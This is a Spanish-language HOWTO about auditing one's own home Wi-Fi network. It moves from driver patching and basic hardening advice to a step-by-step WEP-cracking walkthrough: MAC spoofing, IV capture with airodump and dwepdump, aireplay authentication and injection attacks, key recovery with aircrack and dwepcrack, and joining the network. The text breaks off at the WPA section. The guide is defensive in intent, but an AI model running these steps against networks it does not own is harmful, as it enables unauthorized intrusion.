Pero claro, tanta facilidad también tiene su precio y estas mini-lan generalmente no funcionan todo lo bien que se deseaba, ni con las prestaciones que la ISP nos prometía. La cobertura del router wifi, cuando es un router (a veces intentan colar a los más despistados un simple ADSL-módem wifi, USB), no es tan completa como nos habían asegurado. Resulta que el PC del "niño", que está en otra habitación, no recibe buena señal y el amule (eMule) que tenemos bajando cosas* en el PC que está al lado de la antena del router, va lento.

No es objeto de este HOWTO analizar las cuestiones relacionadas con la cobertura de radiofrecuencia (porque wifi también es eso, ondas de radio), lo haremos en otro documento dedicado a las antenas, la parte de RF de wifi y a la propagación electromagnética, en la banda de "12 cm" o, 2.4 GHz, un campo muy interesante, donde el bricolaje es posible, barato y satisfactorio. Aunque requiere algunos conocimientosteóricos y sobre todo manos ágiles y precisas.

En Internet se pueden encontrar muy pocos documentos "buenos" que expliquen con claridad la parte de radio en wifi, podéis descargar un magnífico documento escrito por
Vic_Thor que habla de la señal de radiofrecuencia, la modulación de esa señal de radio, la propagación, la información, las colisiones y mucho más. Se nota a la legua que este "tipo" sabe de que habla, no le conozco pero puede que sea un "teleco" con un buen conocimiento de la informática y mucha práctica en el cuerpo. Este pdf no tiene desperdicio.

Pero.... a veces la "baja velocidad" se produce por otros motivos. Algunos no tienen nada que ver con la propagación electromagnética y si, con algún "vecino avispado" que se aprovecha de nuestra conexión para acceder "gratis" a Internet. De ese punto hablaremos aquí y ahora.

OBJETIVO

Hacer una sencilla auditoría de nuestra mini-lan. Comprobar que sólo nuestros PCs están conectados a Internet a través de nuestro módem-router wifi. Poner a prueba la seguridad de nuestro sistema al menos en el nivel de radio*, WEP y WPA

ANTECEDENTES Software y hardware

Caso A

Partimos de una mini-lan (una pequeña red doméstica), con tres PCs, uno de ellos portátil. Un router ADSL wifi que funciona en modo infraestructura (BSS), como punto de acceso (AP en modo máster). Acepta conexiones de todos los PCs con tarjeta wifi (en modo managed). Es decir, una vez configuramos el router todos los PCs de la mini-lan se conectan a él, para tener acceso a Internet.

Caso B

Podríamos conectar los PCs de otra forma, por ejemplo. Conectar uno de los PCs (el PC-1) al router por medio de una de las tomas ethernet (cable) y hacer que los otros dos PCs (PC-2 y PC-3) saliesen a Internet a través del primero (PC-1). Para ello es necesario que este PC-1 disponga de una tarjeta ethernet y una tarjeta wifi capaz de funcionar en modo máster. Y no sería necesario un router wifi, con uno normal* o un ADSL-módem sería suficiente.

Pc-1 corre un OS FreeBSD 5.3 con los módulos madwifi, compilados estáticamente (dentro del kernel),para dar soporte a una tarjeta wifi con chip Atheros. PC-2 corre un OS Linux Slackware 10.1 y PC-3 corre un OS Linux GNU/Debian. Los dos Linux disponen de kernel Linux versiones 2.6.12 y los módulos de Madwifi compilados de forma dinámica (fuera del kernel) y tarjetas wifi con chip Atheros.

En otro HOWTO de esta misma web, sobre wifi, se explica como compilar los módulos Madwifi en los OS Linux,pero vamos a dedicar unas líneas para facilitar el parcheado de los módulos para que las tarjetas Atheros permitan la inyección de paquetes que será necesario usar en la auditoría, así como el parche necesario para utilizar el programa wpa_suplicant, necesario para usar el método de encriptación WPA, con aquellas configuraciones que las tarjetas permitan. Porque aunque estemos hablando de chips Atheros, lo cierto es que son varios los fabricantes de tarjetas wifi que lo ensamblan y no todas disponen de las mismas capacidades.

Sería conveniente disponer de un kernel 2.6.12 o superior, de esta forma evitaremos problemas durante el proceso de inyección de paquetes. Vamos a suponer tenemos las fuentes de esta versión descomprimidas en el subdirectorio /usr/src/linux-2.6.12/ y en /usr/src un enlace llamado linux que apunta a /usr/src/linux-2.6.12/

A continuación nos situamos en el directorio adecuado y desde el, se bajan las fuentes de los drivers y el parche, se descomprimen, parchean, compilan e instalan. Este es un ejemplo de como hacerlo:

 cd /usr/src

 wget -c http://www.baidez.com/hwagm/linux/madwifi-cvs-20051025.tgz

 wget -c http://www.baidez.com/hwagm/linux/madwifi-cvs-20051025.patch

 tar -xvzf madwifi-cvs-20051025.tgz

 cd madwifi-cvs-20051025

 patch -Np1 -i ../madwifi-cvs-20051025.patch

 make KERNELPATH=/usr/src/linux-2.6.12

esta orden creará los módulos ath_hal.ko, ath_rate_onoe.ko, wlan_ccmp.ko, wlan_tkip.ko, wlan_xauth.ko, ath_pci.ko, wlan_acl.ko, wlan.ko, wlan_wep.ko

 make install

Y esta otra los colocará en el directorio /lib/modules/2.6.12/net

Si no ha habido errores en ninguno de los pasos anteriores los módulos de madwifi estarán hechos y enlazados con el kernel actual. Después de ver como se hace en sistemas FreeBSD veremos como cargar los módulos creados.

Si las fuentes de los módulos Madwifi no estuviesen disponibles en el enlace facilitado arriba para wget se pueden descargar en el servidor NowiRed, donde además están disponibles algunos pequeños textos, archivos de configuración y algunos buenos manuales. Para descargarlos ejecutaremos:

 wget -c http://www.nowired.com/madwifi/madwifi-20050309.tgz
 wget -c http://www.nowired.com/madwifi/madwifi-20050309.patch.0.1.gz
 wget -c http://www.nowired.com/madwifi/madwifi-patch.txt.gz
 wget -c http://www.nowired.com/madwifi/wpa_supplicant-0.4.8.tar.gz
 wget -c http://www.nowired.com/madwifi/wpa_supplicant.conf.example.gz

Como en esta misma web, disponemos de un HOWTO para compilar un kernel en esta versión de FreeBSD, nos remitimos a él y sólo daremos las indicaciones necesarias, para habilitar el soporte para el chip Atheros.

A la hora de editar el archivo de configuración GENERIC, es necesario añadir estas tres opciones:

 device ath # Atheros IEEE 802.11 wireless network driver
 device ath_hal # Atheros Hardware Access Layer
 device ath_rate_sample # John Bicket's SampleRate control algorithm

 device wlan # 802.11 support (Required)

con estas opciones, ya disponemos de soporte para nuestra tarjeta con chip Atheros. Para tener soporte para WEP o WPA, el módulo wlan que acabamos de añadir al fichero de configuración del kernel, llamará a otros que podemos enlazar también estáticamente (aunque están disponibles como módulos), son estos:

 device wlan_wep # WEP crypto support for 802.11 devices
 device wlan_ccmp # AES-CCMP crypto support for 802.11 devices
 device wlan_tkip # TKIP and Michael crypto support for 802.11 devices

Como además es posible que utilicemos nuestra tarjeta wifi Atheros, como hostap, también llamado AP o punto de acceso, debemos de añadir estas otras opciones o cargar los módulos del mismo nombre, usando el comando kldload.

 device wlan_xauth # External authenticator support for 802.11 devices
 device wlan_acl # MAC-based ACL support for 802.11 devices

después podemos seguir con normalidad, con la compilación del kernel.

Como apuntamos anteriormente, los últimos cinco módulos no es necesario que estén enlazados estáticamente con el kernel (compilados dentro del kernel), podemos dejar que el kernel los cargue bajo demanda o cargarlos "a mano", con el comando:

 # kldload wlan_wep.ko <---- en los sistemas FreeBSD>

 # modprobe ath_pci <---- en los sistemas Linux>

también podemos ponerlos en un fichero de configuración, de forma que sean cargados durante el arranque de la máquina. En FreeBSD será necesario editar el archivo: /boot/loader.conf y añadir los módulos con la siguiente sintaxis:

 wlan_wep_load="YES"
 wlan_tkip_load="YES"
 wlan_ccmp_load="YES"
 wlan_xauth_load="YES"
 wlan_acl_load="YES"

en los sistemas Linux, existen varios métodos dependiendo de cada distribución. En un Debian Linux bastará con añadir el nombre de los módulos en el archivo /etc/modules, se puede editar el archivo con nuestro editor favorito y añadir el nombre de los módulos a mano guardando los cambios después, o ejecutar la orden:

 echo ath_pci >>/etc/modules

En un Linux Slackware pueden añadirse al fichero /etc/rc.d/rc.modules, aunque normalmente no es necesario porque los scripts de arranque rc.inet1 y rc.wireless detectarán que interfaces de red están configuradas y las levantará sin más intervención por parte del usuario que a posteriori se podrá modificar tanto la configuración como el modo* en el caso de wifi.

Tanto si lo hacemos de una forma como de otra, debemos comprobar que todo ha salido bien, y para ello es necesario leer el fichero que se genera con los mensajes del arranque de las máquinas. Podemos hacerlo de esta forma:

 # dmesg | grep ath0 <---- en los sistemas FreeBSD y Linux>

y dependiendo del modelo de tarjeta (chip) Atheros, deberíamos obtener algunas líneas parecidas a estas:

 ath_hal: module license 'Proprietary' taints kernel.
 ath_hal: 0.9.14.9 (AR5210, AR5211, AR5212, RF5111, RF5112, RF2413)
 wlan: 0.8.4.5 (EXPERIMENTAL)
 ath_rate_onoe: 1.0
 ath_pci: 0.9.4.12 (EXPERIMENTAL)
 ath0: 11b rates: 1Mbps 2Mbps 5.5Mbps 11Mbps
 ath0: 11g rates: 1Mbps 2Mbps 5.5Mbps 11Mbps 6Mbps 9Mbps 12Mbps
 18Mbps 24Mbps 36Mbps 48Mbps 54Mbps
 ath0: mac 5.9 phy 4.3 radio 4.6
 ath0: 802.11 address: 00:11:f5:0f:08:ea
 ath0: Use hw queue 0 for WME_AC_BE traffic
 ath0: Use hw queue 1 for WME_AC_BK traffic
 ath0: Use hw queue 2 for WME_AC_VI traffic
 ath0: Use hw queue 3 for WME_AC_VO traffic
 ath0: Atheros 5212: mem=0xd0010000, irq=19
 ath0 (WE) : Driver using old /proc/net/wireless support, please fix driver !
 ath0: no IPv6 routers present

si aparecen estas líneas, significará que el kernel ha cargado los módulos, reconoce la tarjeta wifi y crea un nuevo interface de red, llamado ath0, que podremos configurar como queramos.
Podemos hacerlo en modo máster, o AP, en modo managed, o cliente, en modo monitor, o escaneador de redes wifi. O incluso en modo ad-hoc, o punto a punto, para conectar dos equipos entre si,sin utilizar puntos de acceso. De este modo no hablaremos en este documento. De todas formas en otro HOWTO de esta misma web se explican los modos detalladamente.

BÁSICO

El Caso B nos permitiría tener bastante más control. Podríamos ejecutar un firewall más completo que el que suelen proporcionar los routers que habitualmente regalan* las ISP. Y con una orden sencilla, del tipo:

 # netstat -putan <---- en los sistemas Linux>

 # sockstat -4 <---- en los sistemas FreeBSD>

ejecutadas como root, veríamos todas las conexiones activas en nuestro PC-1, así como los puertos abiertos y que servicios los usan. Cualquier conexión no conocida, sería fácil de identificar.

También es posible usar otras órdenes que nos permitirían conocer las tablas de rutéo del kernel en los sistemas *Linux y las del demonio natd en los *BSD. Así como las direcciones MAC de todos los interfaces de red de que disponga el PC.

 # netstat -nr <---- en los sistemas Linux>

 # route <---- en los sistemas Linux>

 # netstat -ina <---- en los sistemas FreeBSD>

 # ifmcstat <---- en los sistemas FreeBSD>


¡Ojo! Estos comandos, NO mostrarían las conexiones activas en el módem-router wifi del Caso A

Para poder ver ese tipo de datos, es necesario tener a mano el manual del módem-router wifi y saber como conocer las MAC (dirección física grabada en todos los interfaces de red), algo parecido a esto: 00:a0:d1:b5:7c:59, de las tarjetas de red (wifi o no), conectadas al router y en su caso (si el router lo permite), filtrarlas.

Entrando en el router a través de un navegador o por telnet, es posible saber las conexiones activas en ése momento. Así, bajando (matando, acabando) cualquier programa que esté usando la red en los PCs de nuestra mini-lan, sólo deberían aparecer las conexiones del router con la ISP y las del router con los PCs de nuestra red. Si conocemos (y debiéramos de conocer estos datos), las IPs privadas de la mini-lan y la IP pública del router. Cualquier otra IP que no sea una de ellas, será un intruso, alguien que usa nuestro router sin permiso.

FILOSOFÍA

Cualquier intrusión en nuestra red local doméstica, en lo que llamamos mini-lan, o cualquier interceptación de la señal de radio de nuestros equipos wifi, para inyectar datos, desencriptar nuestras claves de acceso y, o conectarse a nuestros puntos de acceso, es un delito y como tal, podemos ponerlo en conocimiento de las autoridades competentes. Entre otras cosas, porque alguien podría estar usando nuestra conexión a Internet para cometer otros delitos y sería embarazoso demostrar que no hemos sido nosotros. Pero éste es otro asunto.

Es mejor no ser confiados. Lo que queremos es tener una conexión segura con la ISP, una mini-lan segura, lo más segura posible, puesto que, totalmente segura, es imposible y menos cuando hablamos de wifi.

Lo más importante es usar sistemas operativos seguros, pero si habéis llegado a esta web, se supone que estáis usando un *Linux o un *BSD. Así que, veremos que otras medidas (básicas) podemos adoptar, para proteger nuestra red de ataques externos, simples curiosos o vecinos que pretenden "que su mula use nuestros caminos gratis".
Veremos los métodos mas comunes que utilizarán aquellos que, pretendan romper (o las han roto ya en alguna ocasión),esas medidas de seguridad y los usaremos "contra nuestra mini-lan". Es el mejor método conocido para comprobar que estamos asegurando bien nuestras redes.

En este punto hay que decir que "hay personas que saben como obtener una IP válida y conocer la estructura de una red, de cualquier red". En ese caso, sólo cave esperar que no estén interesados en la nuestra. Porque este tipo de ataques o intrusiones no es algo que se pueda abordar en un documento básico como éste. De todas formas, si no tenemos en ningún archivo de nuestras máquinas información sensible, como los datos de nuestras tarjetas de crédito, números de DNI, NIF, Seguridad Social, teléfono, informes médicos y otros por el estilo, que son susceptibles de ser usados para obtener información privada, ya habremos ganado mucho.

Algunas personas mantienen (por comodidad) en sus máquinas archivos en apariencia tan inocuos como puede ser un CV (Currículum Vitae), que casi seguro contienen muchos datos de los mencionados en el párrafo anterior y alguna otra información acerca de nuestra experiencia profesional y formación, de la que se puede extraer en el mejor de los casos, un target* para el envío de ofertas comerciales o publicidad no solicitada.

Si tenemos ese CV publicado en alguna web con bases de datos o motores de búsqueda de empleo*, es posible que venda (siempre dicen que se los han sustraído), nuestros datos. Si nosotros no tenemos ese documento en ninguna otra parte, sabremos de donde ha partido la información y podremos tomar las medidas que consideremos oportunas. De todas formas, cuantos menos datos personales haya en los archivos de nuestras máquinas,en los de otras de la red o en servidores de Internet, mejor.

MÉTODOS de SEGURIDAD BÁSICOS

La primera medida que se debe de tomar es, deshabilitar el DHCP en el módem-router wifi. DHCP es muy cómodo, porque escucha peticiones de conexión de otras máquinas (no sólo PCs) y cuando las recibe, adjudica una IP de forma automática. Esto permite que quienes no tienen conocimientos de redes, puedan instalar un router con mucha facilidad, pero también permite que cualquiera se pueda conectar a ese router (si dejamos los valores y la configuración que el fabricante incluye, por defecto).

La segunda medida, deshabilitar el SSID broadcast. El SSID (Service Set Identifier) es el nombre de una red. Esta opción la incluyen la la mayoría de los APs. Si no conociéramos ni el SSID ni la claves WEP, nos sería muy difícil entrar en esa red wireless. Muchos routers tienen activado por defecto, que publique ese nombre de red en todas las conexiones.
Es evidente que alguien que tenga paciencia, puede sentarse a "sniffar" nuestra red y esperar a que uno de los PCs de la red se conecte al router wifi. Y si no dispone de paciencia pero si de algunos conocimientos, forzar la desconexión de los PCs conectados (con un ataque DOS, por ejemplo), para que los interfaces tengan que volver a iniciar un "enganche wifi" y en ese momento "cazar" el SSID.
Cambiar el SSID por defecto de los APs (demasiado conocidos por los interesados en ello), por otros más "complicados", es algo !! imprescindible ¡¡.

Como tercera medida, activar las claves de cifrado WEP. WEP significa, "Wired Equivalent Privacy" y es un sistema de cifrado, al tiempo que un protocolo para redes Wireless, que permite encriptar la información que se transmite. El protocolo WEP, proporciona encriptación a nivel 2 (muy bajo). Está basado en el algoritmo de encriptación RC4, y utiliza claves de 64bits o de 128bits. En realidad son de 40 y 104 bits, ya que los otros 24 bits van en el paquete como Vector de Inicialización (IV). Se utiliza un checksum para prevenir que se inyecten paquetes spoofeados.

Las claves WEP son débiles, cualquiera* con una portátil corriendo Linux y un poco de paciencia (como veremos), puede romperlas. Por ello, deben de ser cambiadas con regularidad, aunque esto conlleve, perder algo de velocidad en la transmisión de datos. Y sobre todo usar siempre claves de 20 o 25 caracteres, como mínimo, En OS FreeBSD es posible usar la utilidad dwepkeygen, incluida en las bsd-airtools, para generar claves complicadas.

Como cuarta medida, para el Caso A, si nuestro router wifi lo permite, podemos establecer un filtrado por MAC. Esto implica conocer las direcciones MAC de las tarjetas wifi de los tres PCs y configurar el router wifi para que sólo permita conexiones de ésas tarjetas. De esta forma, independientemente de las IPs que adjudiquemos a esas tarjetas wifi (interfaces de red), el router también tendrá en cuenta la dirección física.
Esto no es completamente seguro, porque las direcciones MAC se pueden averiguar (ya veremos como) y es posible emularlas, para engañar al router. Pero este método, combinado con el Caso B y un buen filtrado con iptables, en *Linux o ipf y ipfw, en *BSD, ya es más difícil de traspasar. En todo caso si alguien sniffa nuestra red obtendrá los doce dígitos necesarios para obtener una MAC Address válida y en texto claro, porque los paquetes del tráfico de red, contienen esta información.

La quinta medida sería usar WPA. WPA (WI-FI Protected Access), utiliza (TKIP), que, encaminando todas las conocidas debilidades del WEP, proporciona respuestas a las mismas con:

 Una función de per-packet key mixing
 Un control sobre la integridad del mensaje
 Un Initialization Vector ampliado con reglas de secuencia
 Un mecanismo de re-keying

TKIP (Temporal Key Integrity Protocol). Básicamente, las mejoras de esta encriptación consisten en que tiene una gestión dinámica de las claves de cifrado, asignando a cada conexión una clave de cifrado diferente (ya no es estática, como en WEP) y además de eso, encriptación de cada paquete que se envié.
La ventaja del TKIP es que es 100% compatible con el hardware actual a diferencia del EAP. Con WPA es posible usar RADIUS y otras implementaciones, pero no las veremos en este documento básico.

A excepción de AES. Con WPA es posible usar el "algoritmo" de encriptación AES en lugar de TKIP. No es complicado configurarlo (al menos en *Linux y con wpa_suplicant), no ralentiza tanto el flujo de datos como TKIP y no es sensible al ataque 0 (desautentificación de clientes legítimos), que si se puede realizar también contra WPA+TKIP.

WPA también tiene inconvenientes, no está a salvo de ataques, como hemos dicho ya, pero el más importante es que, no todos los sistemas que soportan el estándar 802.11, soportan WPA. Y pasará tiempo hasta que el uso se WPA se generalice, por lo que WEP a pesar se estar obsoleto desde hace tiempo, todavía estará unos años entre nosotros.

Sexta medida. No me gusta hablar de ella, porque se refiere a unos dispositivos que detectan los accesos no autorizados a nuestra mini-lan, pero son caros y el software que emplean no es "libre". De todas formas, es una medida de protección al alcance de quien quiera pagarla.
En esta web se ofrece información y venta de estos sensores que se distribuyen cerca de los APs y hacen su trabajo, es una de las marcas más conocidas, AirDefense.

AUDITORÍA-0

Configuramos la mini-lan como especificamos en el Caso B y las medidas de seguridad mínimas. Esto es, de la primera a la cuarta (ambas incluidas). Y vamos a comprobar el efecto real de éstas medidas.
Para esta labor, usaremos dos PCs portátiles. Uno de ellos corre un OS FreeBSD 5.3 y el otro Gentoo GNU/Linux con un kernel 2.6.13-gentoo-r2 y tarjetas wifi con chip Atheros.

Usaremos además algunas aplicaciones como aircrack, airodump, airdecap, aireplay, Wireless-Tools, iwconfig, airtools, kismet, bsd-airtools, dstumbler, dwepcrack, dwepdump, dwepkeygen, karma y otras que iremos enumerando paso a paso.

SNIFFANDO LA RED

Arrancamos los portátiles y ejecutamos:

 # ifconfig -a <---- en los sistemas FreeBSD y Linux>

para conocer el estado de nuestra interface wifi. Acto seguido ejecutamos:

 # ifconfig ath0 down <---- en los sistemas FreeBSD y Linux>

hacemos esto para bajar (poner fuera de servicio), la interface ath0, o lo que es lo mismo, nuestra tarjeta wifi. Lo hacemos así para partir de "cero" y para poder ejecutar el siguiente paso con éxito.

 # ifconfig ath0 hw ether 00:11:22:33:44:55 <---- en los sistemas Linux>

 # ifconfig ath0 ether 00:11:22:33:44:55 <---- en los sistemas FreeBSD >

Con esta orden ¡¡ cambiamos !!, la MAC asociada a la la tarjeta wifi. A continuación ejecutamos la orden:

 # ifconfig ath0 up <---- en los sistemas FreeBSD y Linux>

obviamente para levantar de nuevo la interface ath0. Seguimos adelante ejecutando:

 # ifconfig ath0 monitor up <---- en los sistemas FreeBSD>

 # iwconfig ath0 mode Monitor <---- en los sistemas Linux>

esta orden, pone el interface (y la tarjeta wifi) en modo monitor, nos servirá para "sniffar" (escuchar), el tráfico de nuestra mini-lan (o de cualquier otra red inalámbrica).


ESTILO Beastie

En FreeBSD podemos usar la sencilla orden:

 # ifconfig ath0 up scan <---- en los sistemas FreeBSD>

nos mostrará algo como esto (siempre que haya redes activas y haciendo broadcasting de ESSID)

 SSID BSSID CHAN RATE S:N INT CAPS
 beastiefuckyou 00:11:95:c3:0d:ac 1 54M 19:0 100 ES
 policewomankiss 00:13:46:49:41:76 6 54M 30:0 100 EPS WPA WME

explicaremos los campos más crípticos en el capítulo dedicado a WPA

FIN ESTILO Beastie

Ahora debemos de ejecutar e programa airodump o, dwepdump "sniffará" y registrara todo el tráfico, nos interesan ahora los IV's. (valores de iniciación).

INCISO sobre IVs

WEP expande en la trama 802.11 un vector de inicialización IV de (24 bits), la clave secreta y el keystream. Aquí es donde está el primer problema, para empezar el IV viaja en la parte NO CIFRADA de la trama, y en realidad las encriptaciones que "nos venden" los fabricantes no son del todo "ciertas" ,porque por ejemplo en una encriptación de 128 bits, sería 128bits - IV es decir 104bits, y claro pasa lo mismo con los cifrados de 64bits que quedarían reducidos a 40bits.
El tipo de ataque que estamos preparando, consiste en generar un keystream igual, basándonos en el IV y en la clave secreta. El estándar WEP solo "recomienda" que IV cambie en cada trama, pero no lo "impone" ,así que buscaremos IV repetidos, como el tamaño del IV es de 24bits, tendremos 2^24=16.777.216 de IV diferentes.
Entonces lo que haremos, sera esperar a que haya tráfico en la red o, inyectar tráfico en la red ,y generar IV's ,así podremos desencriptar la captura y conseguir la clave WEP.
Hay que decir que el éxito de este ataque depende mucho del fabricante del AP (Access Point) ,y la manera que tenga de gestionar los IV's. de ahí la importancia de escoger bien el Punto de Acceso o la Tarjeta Wifi que funcionará en modo Master

Otra cosa importante es que, para poder realizar este tipo de ataques no es suficiente con que nuestra tarjeta wifi soporte el modo RFMON (modo monitor), sino que en muchos casos (como el que nos ocupa, con chips Atheros), tendremos que parchear el modulo para que soporte la inyección de paquetes. Nosotros usaremos máquinas con OS, FreeBSD y Gentoo para realizar la parte práctica de este manual. Pero también se puede hacer con distribuciones Linux en Live CD, como phlak o, whax (una distribución basada en Slackware, antes conocida como Whoppix y basada en la muy conocida Knoppix).

FIN del INCISO sobre IVs

Para una clave de 40bits necesitaremos entre 70000 y 2000000 IV's, para una clave de 104bits necesitaremos entre 20000 y 700000 IV's, a veces más.
Airodump también capturará Beacons. Los beacons frames son, balizas de autenticación. Es decir, tramas que emiten los puntos de acceso, o los routers wifi, para que otros puntos de acceso o tarjetas wifi sepan que existe un punto de acceso activo a una distancia determinada, generalmente cerca. (funcionan de forma parecida a las radio balizas de los radio-aficionados o como los radio-faros de navegación)

 # airodump ath0 captura 0 <---- en los sistemas Linux>

 # dwepdump -w ath0 pcap-log/pcap.log <---- en los sistemas FreeBSD>

**En los OS FreeBSD se usan los comandos dwepdump y dwepcrack. Crean los logs en el directorio pcap-log (que debe de existir, para el dwepcrack, también debe de existir el archivo pcap.log vacío), en esos logs registran toda la información y lo usan después para romper la clave WEP.

ejecutamos airodump para comprobar las redes que tenemos al alcance, con la orden anterior. Veremos información referente a las redes a nuestro alcance. (BSSID, los Beacons y IV's recogidos, el canal que utiliza, el ESSID, entre otros).

Escogemos nuestra mini-lan, entre las redes wifi que airodump nos ha mostrado. Apuntamos el canal que utiliza la red, el SSID y la MAC y pulsamos CTRL+C para salir del programa.

Ejecutamos de nuevo airodump. Esta vez para comenzar a capturar todas las IV's que podamos.

 # iwconfig ath0 channel 6 <---- en los sistemas Linux>

 # ifconfig ath0 channel 6 <---- en los sistemas FreeBSD>

Ejecutamos la orden de arriba. Hemos escogido el canal 6, porque es el canal que se utiliza en nuestra, mini-lan.

 # airodump ath0 captura 6 1 <---- en los sistemas Linux>

 # dwepdump -w ath0 pcap-log/pcap.log <---- en los sistemas FreeBSD>

Volvemos a iniciar airodump apuntando al canal que utiliza nuestra mini-lan. podemos observar como las IV's (# Data) comienzan a subir lentamente, ya se ha explicado antes que, para poder romper una clave se precisan algunos miles de IV's.

INCISO sobre INYECCIÓN de PAQUETES

Cómo acelerar el proceso ?, pues estimulando la red con aireplay. Aireplay inyecta paquetes a la red haciendo así que el número de IV's recolectados aumente rápidamente. No entraremos en muchos detalles de cómo trabaja aireplay. No es el objetivo central de este manual y además, no es imprescindible la inyección para nuestra auditoría. Sólo es necesario que haya un buen tráfico y como la red es nuestra, tenemos muchas formas de aumentarlo.
De todas formas aireplay, hace algo que no es posible en otros OS (como Windows..) y creemos conveniente hacer este inciso, para hablar de un tema importante.

Lo primero que debemos realizar para poder comprobar la seguridad de nuestra mini-lan en su parte de wireless, será intentar asociarnos al AP, para ello realizaremos lo siguiente:

 # aireplay -1 0 ath0 -e ESSID -a BSSID -h 0:1:2:3:4:5

Una vez realizado esto, deberíamos de ver algo similar a lo siguiente:

 19:10:17 Sending Authentication Request
 19:10:17 Authentication successful
 19:10:17 Sending Association Request
 19:10:17 Association successful :-)

Si pasado un rato y cuando estamos ejecutando el ataque -3, vemos que nos dice que no se está autenticado y que tenemos que volver a ejecutar el ataque -1, probablemente tengamos que repetir el ataque -1, pero cambiando una opción, lo dejaríamos de la siguiente forma:

 # aireplay -1 20 ath0 -e ESSID -a BSSID -h 0:1:2:3:4:5

Podremos observar que el segundo parámetro que le hemos asignado es 20, con esto lo que haremos, será forzar al aircrack a que se autentique automáticamente cada 20 segundos, podemos poner cualquier tiempo que queramos en segundos (el mayor intervalo con el que lo hemos probado ha sido 60 segundos).

Hay varios tipos de ataques posibles, usando aireplay. A continuación mostramos uno, bastante eficaz.

 # aireplay -2 -b BSSID -m 68 -n 68 -d FF:FF:FF:FF:FF:FF ath0 <---- en los sistemas Linux>

Ejecutamos aireplay con las opciones y argumentos de la orden anterior. Es necesario substituir BSSID por la MAC del AP de nuestra mini-lan (si recordáis, es uno de datos que mostraba el airodump hace un ratito y que anotamos) en el caso de nuestra red es es: 00:14:F8:3F:35:88.

Veremos como aireplay comienza a ejecutarse y mostrará algo como "Read 49 packets..." veremos que va aumentando progresivamente, hasta que encuentre algo válido. En ese momento, mostrará la información del paquete y nos preguntará si queremos usar ese paquete. Debemos aseguraros de que el paquete, contenga los siguientes datos:

 - Size: 68
 - FromDS: 0
 - ToDS: 1 (WEP)
 - BSSID = LA_BSSID_INDICADA
 - Dest. MAC = FF:FF:FF:FF:FF:FF

Un ejemplo podría ser el siguiente:

 Size: 68, FromDS: 0, ToDS: 1 (WEP)
 BSSID = 00:14:F8:3F:35:88
 Dest. MAC = FF:FF:FF:FF:FF:FF
 Source MAC = 00:13:49:16:B0:BB

 0x0000: 0841 d500 0014 f83f 3588 0013 4916 b0bb .A.....?5...I...
 0x0010: ffff ffff ffff b072 9c80 0000 de32 8bc3 .......r.....2..
 0x0020: f4fe 1fc5 1377 1fc5 8739 e667 41f9 5e2f .....w...9.gA.^/
 0x0030: 7589 5f39 f550 d3fd c38c be2d c6a2 4a82 u._9.P.....-..J.
 0x0040: 8ff1 7579 ..

Cuando tengamos algo así, pulsamos la tecla "y" y a continuación, Enter. Y veremos como los IV's que va capturando airodump van aumentando rápidamente. Recordemos que antes del inciso sobre inyección de paquetes teníamos ejecutándose en otro terminal la orden: # airodump ath0 captura 6 1. Después podremos seguir con la aplicación aircrack.

ESTILO Gentooza

Pero antes, pondremos otra forma de hacer "inyección de paquetes con tarjetas Atheros" que utiliza el operador "Topo" del PC portátil que corre Gentoo uno de los que utilizamos para la práctica de este manual)

Primero, nos recuerda que, los que utilicen los drivers madwifi, deben haber parcheado anteriormente los drivers para poder inyectar, de lo contrario, no les dejará inyectar paquetes. Una vez hecho eso se compilan los drivers madwifi y se ejecutan las órdenes siguientes:

 # ifconfig ath0 down
 # ifconfig ath0 hw ether 00:11:22:33:44:55
 # iwconfig ath0 mode Managed essid "ESSID" key AAAAAAAAAA
 # ifconfig ath0 up
 # sysctl -w dev.ath0.rawdev=1
 # ifconfig ath0raw up
 # airodump ath0raw out CHANNEL (en CHANNEL se escribe el canal
 correspondiente, en este caso el 6)

Después de eso, se ejecuta aireplay para inyectar, con la orden que sigue:

 # aireplay -3 -h 00:11:22:33:44:55 -b 00:13:49:20:70:79 ath0

(siendo 00:13:49:20:70:79 la MAC de nuestro AP, al que queremos atacar)

Y como con la técnica anterior, observaremos como las IV's aumentan rápidamente.

FIN ESTILO Gentooza

FIN del INCISO sobre INYECCIÓN de PAQUETES


DESENCRIPTANDO la clave WEP

Una vez realizados todos los pasos anteriores, abrimos otro terminal y procedemos a ejecutar el programa aircrack Existen distintas formas de ejecutar aircrack, nosotros usaremos una de ellas, para ello lanzamos la orden:

 # aircrack -x *.ivs <---- en los sistemas Linux>

en este punto, quizá nos pregunte sobre qué red queremos atacar. Respondemos con el número que corresponda a nuestra mini-lan y dejamos que aircrack actué. Pasados algunos minutos, si todo ha ido bien, veremos un mensaje, como éste:

 "KEY FOUND! [Y AQUÍ-LA-CLAVE-WEP-QUE-NOS-PERMITE-ACCEDER-AL-AP]".

Este seria el mensaje que mostraría aircrack, cuando cree haber roto la clave wep.

Con el programa dwepcrack procederíamos con la siguiente orden.

 # dwepcrack -s -w pcap-log/pcap.log <---- en los sistemas FreeBSD>

Y debería de pasar algo parecido a esto:

 * dwepcrack v0.3a by h1kari *
 * Copyright (c) Dachb0den Labs 2002 [http://dachb0den.com] *

 reading in captured ivs, snap headers, and samples... done
 total packets: 500986

 calculating ksa probabilities...
 0: 22/768 keys (!)
 1: 3535/131328 keys (!)
 2: 5459/197376 keys (!)
 3: 5424/197120 keys (!)
 4: 9313/328703 keys (!)

 (!) 60 for each key (!)
 (!) probability of success for each key with (!) < 0.5 (!)>

 warming up the grinder...
 packet length: 44
 init vector: 58:f7:26
 default tx key: 0

 progress: ....................................

 wep keys successfully cracked!
 0: xx:xx:xx:xx:xx *
 done.

ENTRANDO en la RED

Para comprobar que la clave WEP es correcta, ejecutamos la orden:

 # iwconfig ath0 essid "EL-ESSID-DE-LA-RED" key "la clave anterior" <---- en los sistemas Linux>

 # ifconfig ath0 essid "EL-ESSID-DE-LA-RED" key "la clave anterior" <---- en los sistemas FreeBSD>

para levantar el interface ath0 (la tarjeta wifi de los portátiles), asociándolas a nuestra mini-lan.


Si logramos conectarnos a nuestra red con la clave que aircrack o dwepcrack nos ha facilitado, habremos conseguido traspasar las barreras que habíamos puesto al configurarla. Recordemos que, eran algunas más que las que tendremos por defecto al instalar un módem-router wifi, tal y como nos lo envía la ISP.

SOLUCIONES POSIBLES


Una de las soluciones básicas* que podemos aplicar, es la quinta medida (manteniendo también en lo posible las cuatro anteriores), que se nombra en el apartado: MÉTODOS de SEGURIDAD BÁSICOS, sustituiremos WEP por WPA con TKIP y AES.

HABILITANDO WPA + TKIP en FreeBSD

